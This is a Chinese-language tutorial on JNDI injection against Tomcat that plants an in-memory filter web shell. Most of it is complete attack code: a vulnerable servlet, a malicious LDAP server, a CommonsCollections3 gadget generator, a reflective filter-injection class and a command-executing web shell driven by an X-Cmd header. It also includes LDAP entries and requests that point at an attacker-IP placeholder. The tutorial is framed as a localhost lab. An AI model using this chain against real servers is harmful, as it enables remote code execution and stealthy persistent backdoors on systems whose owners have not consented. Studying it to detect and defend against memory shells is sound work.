原理分析 | JNDI反序列化注入内存马 —— 内存马补充

你发 JRMPClient 链 → 目标主动出网连你的 JRMPListener → 你下发 gadget → 二次反序列化 → RCE

dn: cn=exploit,dc=example,dc=com
objectClass: javaObject
objectClass: javaSerializedObject
javaClassName: java.lang.Object
javaSerializedData: <CC链序列化字节>

dn: cn=exploit,dc=example,dc=com
objectClass: top
objectClass: javaObject
objectClass: javaNamingReference
javaClassName: Exploit
javaFactory: Exploit
javaCodeBase: http://攻击者IP:8888/

JAVA_ATTRIBUTES[0] = "objectClass"
JAVA_ATTRIBUTES[1] = "javaSerializedData"
JAVA_ATTRIBUTES[2] = "javaClassName"
JAVA_ATTRIBUTES[3] = "javaFactory"
JAVA_ATTRIBUTES[4] = "javaCodeBase"
JAVA_ATTRIBUTES[5] = "javaReferenceAddress"
JAVA_ATTRIBUTES[6] = "javaClassNames"
JAVA_ATTRIBUTES[7] = "javaRemoteLocation"

检查 javaSerializedData
  ├── 有 → deserializeObject() → 反序列化路线  ← 我们走这条
  ├── 没有，检查 javaRemoteObject
  │     └── 有 → decodeRmiObject() → RMI对象路线
  └── 没有，检查 objectClass 是否为 javaNamingReference
        ├── 是 → decodeReference() → 远程类加载路线
        └── 都不是 → return null

// 注解，将当前类标记为一个 Servlet，并指定其访问路径为 /vuln
@WebServlet("/vuln")
public class JNDIServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        // 请求 GET /vuln?url=xxx，则 url 的值为 xxx
        String url = req.getParameter("url");
        try {
            // 创建一个 JNDI 的 InitialContext 对象
            InitialContext ctx = new InitialContext();
            // 漏洞点：参数可控，触发 JNDI lookup
            ctx.lookup(url);
        } catch (Exception e) {
            resp.getWriter().println("error: " + e.getMessage());
        }
    }
}

GET /vuln?url=ldap://攻击者IP:1389/exploit

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

java -jar ysoserial.jar CommonsCollections6 "calc.exe" > payload.ser
# 或者其他方法

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>6.0.11</version>
</dependency>

import com.unboundid.ldap.listener.*;
import com.unboundid.ldap.listener.interceptor.*;
import com.unboundid.ldap.sdk.*;
​
public class MaliciousLDAPServer {
    // idea 直接运行
    public static void main(String[] args) throws Exception {
        // 从本地加载预先生成好的 CC6 反序列化 payload.ser
        byte[] payload = Files.readAllBytes(Paths.get("payload.ser"));
​
        // 用 UnboundID 库在本地起一个轻量级 LDAP Server，监听 1389 端口
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
        config.setListenerConfigs(new InMemoryListenerConfig("listen", null, 1389, null, null, null));
​
        config.addInMemoryOperationInterceptor(new InMemoryOperationInterceptor() {
            @Override
            public void processSearchResult(InMemoryInterceptedSearchResult result) {
                try {
                    // 核心拦截器 — 构造恶意 Entry
                    Entry entry = new Entry("cn=exploit,dc=example,dc=com");
                    entry.addAttribute("javaClassName", "java.lang.String");
                    // 塞入序列化数据
                    entry.addAttribute("javaSerializedData", payload);
                    result.sendSearchEntry(entry);
                    result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        });
​
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
        ds.startListening();
        System.out.println("[*] LDAP Server started on port 1389");
    }
}

http://localhost:8080//vuln?url=ldap://127.0.0.1:1389/exploit

JNDI lookup → LDAP Server 返回 javaSerializedData
  → readObject() 触发反序列化
    → CC3 链 → TemplatesImpl._bytecodes
      → 加载 FilterInject.class（继承 AbstractTranslet）
        → static 块执行 → 注入 Filter 内存马

当前线程
  └─ ContextClassLoader (ParallelWebappClassLoader)
        └─ resources 字段 (StandardRoot)
              └─ context 字段 (StandardContext)  ← 目标

// 获取类加载器并强转
ClassLoader cl = Thread.currentThread().getContextClassLoader();
ParallelWebappClassLoader pwcl = (ParallelWebappClassLoader) cl;
// 向上遍历父类，找到 resources 字段
Field resourcesField = getFieldFromHierarchy(pwcl.getClass(), "resources");
resourcesField.setAccessible(true);
Object resources = resourcesField.get(pwcl);
// 从 StandardRoot 中反射取出 context
StandardContext standardContext = extractContext(resources);
​
// 工具方法：向上遍历父类找字段
private static Field getFieldFromHierarchy(Class<?> clazz, String name) {
    // 如果 clazz 本身没有这个字段，就去父类里找，一直找到 Object 为止
    while (clazz != null) {
        try { return clazz.getDeclaredField(name); }
        catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); }
    }
    return null;
}
​
private static StandardContext extractContext(Object resources) throws Exception {
    if (resources instanceof StandardRoot) {
        // 从 StandardRoot 里取 context 字段，正是 StandardContext
        StandardRoot sr = (StandardRoot) resources;
        Field f = sr.getClass().getDeclaredField("context");
        f.setAccessible(true);
        Object ctx = f.get(sr);
        if (ctx instanceof StandardContext) return (StandardContext) ctx;
    }
    return null;
}

// 主入口：尝试多种方法获取 StandardContext
private StandardContext getStandardContext() throws Exception {
    StandardContext ctx = null;
    // 方法1: JMX 标准查询
    ctx = getContextByJMX();
    if (ctx != null) {
        System.out.println(">>> Successfully obtained StandardContext via ** JMX **");
        return ctx;
    }
    // 方法2: 从当前 ClassLoader 反射获取
    ctx = getContextByClassLoader();
    if (ctx != null) {
        System.out.println(">>> Successfully obtained StandardContext via ** ClassLoader reflection **");
        return ctx;
    }
    // 方法3: 暴力遍历所有 MBean（兜底）
    ctx = getContextByMBeanServerDirect();
    if (ctx != null) {
        System.out.println(">>> Successfully obtained StandardContext via ** fallback MBean traversal **");
        return ctx;
    }
​
    System.err.println(">>> All three methods failed to obtain StandardContext.");
    return null;
}
​
// JMX 标准查询 (Tomcat 9)
private StandardContext getContextByJMX() throws Exception {
    MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
    ObjectName query = new ObjectName("Catalina:type=Context,*");
    Set<ObjectName> names = mbs.queryNames(query, null);
    for (ObjectName name : names) {
        String path = (String) mbs.getAttribute(name, "path");
        if (path == null || path.isEmpty()) continue;
        Object ctx = mbs.invoke(name, "findMappingObject", new Object[0], new String[0]);
        if (ctx instanceof StandardContext) {
            System.out.println("[JMX] Found StandardContext with path: " + path);
            return (StandardContext) ctx;
        }
    }
    System.out.println("[JMX] No StandardContext found");
    return null;
}
​
// 通过当前线程 ClassLoader 反射 resources->context
private StandardContext getContextByClassLoader() throws Exception {
    ClassLoader cl = Thread.currentThread().getContextClassLoader();
    if (!(cl instanceof ParallelWebappClassLoader)) {
        System.out.println("[ClassLoader] Not a ParallelWebappClassLoader: " + cl.getClass().getName());
        return null;
    }
    ParallelWebappClassLoader pwcl = (ParallelWebappClassLoader) cl;
    Method getResources = pwcl.getClass().getMethod("getResources");
    Object resources = getResources.invoke(pwcl);
    if (resources == null) {
        Field resField = getFieldFromHierarchy(pwcl.getClass(), "resources");
        if (resField != null) {
            resField.setAccessible(true);
            resources = resField.get(pwcl);
        }
    }
    if (resources == null) {
        System.out.println("[ClassLoader] Cannot obtain resources object");
        return null;
    }
    Field ctxField = getFieldFromHierarchy(resources.getClass(), "context");
    if (ctxField == null) return null;
    ctxField.setAccessible(true);
    Object ctx = ctxField.get(resources);
    if (ctx instanceof StandardContext) {
        System.out.println("[ClassLoader] Found StandardContext: " + ((StandardContext) ctx).getPath());
        return (StandardContext) ctx;
    }
    return null;
}
​
// 暴力遍历所有 MBean 属性（兜底）
private StandardContext getContextByMBeanServerDirect() throws Exception {
    MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
    Set<ObjectName> all = mbs.queryNames(null, null);
    for (ObjectName name : all) {
        try {
            if (name.toString().contains("type=Context") && mbs.isInstanceOf(name, "org.apache.catalina.core.StandardContext")) {
                Object instance = mbs.invoke(name, "findMappingObject", new Object[0], new String[0]);
                if (instance instanceof StandardContext) {
                    System.out.println("[Direct] Found StandardContext: " + ((StandardContext) instance).getPath());
                    return (StandardContext) instance;
                }
            }
        } catch (Exception ignored) {}
    }
    return null;
}

package com.vuln;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.util.Scanner;

public class CmdFilter implements Filter {
    @Override public void init(FilterConfig filterConfig) {}

    // 请求拦截逻辑
    @Override public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain)
            throws java.io.IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;
        HttpServletResponse response = (HttpServletResponse) resp;
        // 从请求头读取命令
        String cmd = request.getHeader("X-Cmd");
        // 判断是否是"木马请求"
        if (cmd != null && !cmd.isEmpty()) {
            // 设置响应编码
            response.setContentType("text/plain;charset=GBK");
            PrintWriter writer = response.getWriter();
            // 执行命令并写回
            writer.write(execCmd(cmd));
            writer.flush();
            // 直接返回，不放行到后续 Filter/Servlet
            return;
        }
        // 普通请求：透明放行，不影响业务
        chain.doFilter(request, response);
    }

    // 命令执行逻辑
    private String execCmd(String command) {
        StringBuilder sb = new StringBuilder();
        try {
            // 跨平台写法
            String os = System.getProperty("os.name").toLowerCase();
            String[] cmdArray = os.contains("win")
                    ? new String[]{"cmd.exe", "/c", command}
                    : new String[]{"/bin/bash", "-c", command};
            // ProcessBuilder 而非 Runtime.exec()，参数不走 shell 解析，避免空格截断
            Process p = new ProcessBuilder(cmdArray).start();

            // 同时读 stdout + stderr，命令报错时也能回显
            try (Scanner sc = new Scanner(p.getInputStream(), "GBK")) {
                while (sc.hasNextLine()) sb.append(sc.nextLine()).append("\r\n");
            }
            try (Scanner sc = new Scanner(p.getErrorStream(), "GBK")) {
                while (sc.hasNextLine()) sb.append(sc.nextLine()).append("\r\n");
            }
            p.waitFor();
        } catch (Exception e) {
            sb.append("Error: ").append(e.getMessage());
        }
        return sb.toString();
    }

    @Override public void destroy() {}
}

GET /任意路径 HTTP/1.1
Host: localhost:8080
X-Cmd: whoami

package com.vuln;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

/**
 * 工具类：将 CmdFilter.class 文件转为 Base64 字符串
 */
public class ClassToBase64 {
    public static void main(String[] args) throws IOException {
        // 默认路径：target/classes/com/vuln/CmdFilter.class
        String classPath = "target/classes/com/vuln/CmdFilter.class";
        if (args.length > 0) {
            classPath = args[0];
        }
        byte[] bytes = Files.readAllBytes(Paths.get(classPath));
        String base64 = Base64.getEncoder().encodeToString(bytes);
        System.out.println(base64);
    }
}

package com.vuln;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.ParallelWebappClassLoader;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.Filter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;

public class FilterInject extends AbstractTranslet {  // ← 关键：继承这个

    static {
        // 把注入逻辑放 static 块，类加载时就执行，更可靠
        try {
            inject();
        } catch (Throwable t) {
            t.printStackTrace();
        }
    }

    // AbstractTranslet 要求实现的两个抽象方法，空实现即可
    @Override
    public void transform(DOM dom, SerializationHandler[] handlers)
            throws TransletException {}

    @Override
    public void transform(DOM dom, DTMAxisIterator it, SerializationHandler handler)
            throws TransletException {}

    // 注册主方法
    private static void inject() throws Exception {
        // 获取 StandardContext
        ClassLoader cl = Thread.currentThread().getContextClassLoader();
        ParallelWebappClassLoader pwcl = (ParallelWebappClassLoader) cl;

        Field resourcesField = getFieldFromHierarchy(pwcl.getClass(), "resources");
        resourcesField.setAccessible(true);
        Object resources = resourcesField.get(pwcl);
        StandardContext standardContext = extractContext(resources);

        // Base64 解码还原 CmdFilter 字节码
        String b64 = "yv66vgAAADQArQoAKABgBwBhBwBiC......"; // CmdFilter 的 Base64
        byte[] classBytes = Base64.getDecoder().decode(b64);

        // 反射调用 defineClass 来实例化 evilFilter
        Method defineClass = ClassLoader.class.getDeclaredMethod(
                "defineClass", byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        Class<?> filterClass = (Class<?>) defineClass.invoke(cl, classBytes, 0, classBytes.length);
        Filter evilFilter = (Filter) filterClass.getDeclaredConstructor().newInstance();

        // Filter 注册三步骤
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName("shell");
        filterDef.setFilter(evilFilter);
        filterDef.setFilterClass(evilFilter.getClass().getName());

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName("shell");
        filterMap.addURLPattern("/*");

        standardContext.addFilterDef(filterDef);
        standardContext.addFilterMap(filterMap);
        // 代替 FilterConfig 的注册流程
        standardContext.filterStart();

        System.out.println("[+] Filter memory shell injected!");
    }

    // 配合上面的 StandardContext 获取的两个工具方法
    private static Field getFieldFromHierarchy(Class<?> clazz, String name) {
        while (clazz != null) {
            try { return clazz.getDeclaredField(name); }
            catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); }
        }
        return null;
    }

    private static StandardContext extractContext(Object resources) throws Exception {
        if (resources instanceof StandardRoot) {
            StandardRoot sr = (StandardRoot) resources;
            Field f = sr.getClass().getDeclaredField("context");
            f.setAccessible(true);
            Object ctx = f.get(sr);
            if (ctx instanceof StandardContext) return (StandardContext) ctx;
        }
        return null;
    }
}

package com.vuln;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3GeneratePayload {

    public static void main(String[] args) throws Exception {
        // ========== 请修改为你的 FilterInject.class 实际路径 ==========
        String classFilePath = "target/classes/com/vuln/FilterInject.class";
        // =============================================================

        // 1. 读取恶意类字节码（FilterInject 已内嵌 Base64 编码的 CmdFilter）
        byte[] bytecode = Files.readAllBytes(Paths.get(classFilePath));

        // 2. 构造 TemplatesImpl 并注入字节码
        TemplatesImpl templates = new TemplatesImpl();
        Field f1 = TemplatesImpl.class.getDeclaredField("_bytecodes");
        f1.setAccessible(true);
        f1.set(templates, new byte[][]{bytecode});

        Field f2 = TemplatesImpl.class.getDeclaredField("_name");
        f2.setAccessible(true);
        f2.set(templates, "FilterInject");

        // 显式设置 _tfactory 避免空指针（可选，但建议保留）
        Field f3 = TemplatesImpl.class.getDeclaredField("_tfactory");
        f3.setAccessible(true);
        f3.set(templates, new TransformerFactoryImpl());

        // 3. 构造 CC3 链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates}
                )
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        // 4. 使用 TransformedMap 装饰（配合 AnnotationInvocationHandler）
        Map<String, Object> innerMap = new HashMap<>();
        innerMap.put("value", "dummy");
        Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

        // 5. 反射构造 AnnotationInvocationHandler
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object handler = construct.newInstance(java.lang.annotation.Retention.class, transformedMap);

        // 6. 序列化到文件 payload.ser
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"))) {
            oos.writeObject(handler);
        }

        System.out.println("[+] Payload generated: payload.ser");
        System.out.println("[+] File size: " + new File("payload.ser").length() + " bytes");
    }
}

http://localhost:8080//vuln?url=ldap://127.0.0.1:1389/exploit

curl -H "X-Cmd: whoami" http://localhost:8080/任意路径